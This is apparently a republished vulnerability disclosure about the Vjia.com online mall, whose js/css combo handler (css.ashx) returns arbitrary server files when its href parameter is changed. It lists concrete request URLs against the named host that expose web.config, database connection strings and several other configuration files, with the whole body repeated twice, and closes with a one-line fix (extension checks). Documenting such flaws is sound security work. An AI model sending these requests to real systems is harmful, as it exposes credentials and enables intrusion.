Fanke's Vjia.com js/css combo can read database configuration files

Source: Internet
Author: User

Fanke's Vjia.com js/css combo can read database configuration files

When accessing the fanke mall system, we found that a simple way to view the database and site information configuration files may be caused by the lack of logic judgment in the program.

View the source code on the Vjia.com list page
 



Copy the URL for js/css combo to the address bar and change the href parameter to web. config.

Example: http://rscdn.vjia.com/css.ashx? Href = web. config
 



And the configuration under the appSettings node in web. config can be read.

Example: database connection string

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/Connection. config
 



And more

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/Parameters. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/WebSite. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/RSConfig. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/SearchConfig. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/SolrCoreConfig. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/CacheConfig. config

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/SortConfig. xml



May be deprecated

View the source code on the Vjia.com list page
 



Copy the URL for js/css combo to the address bar and change the href parameter to web. config.

Example: http://rscdn.vjia.com/css.ashx? Href = web. config
 



And the configuration under the appSettings node in web. config can be read.

Example: database connection string

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/Connection. config
 



And more

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/Parameters. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/WebSite. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/RSConfig. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/SearchConfig. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/SolrCoreConfig. xml

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/CacheConfig. config

Http://rscdn.vjia.com/css.ashx? Href =/ConfigFiles/SortConfig. xml

Solution:

Add extension verification to the css. ashx and js. ashx General handlers. Non-js or css files do not execute merged output.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.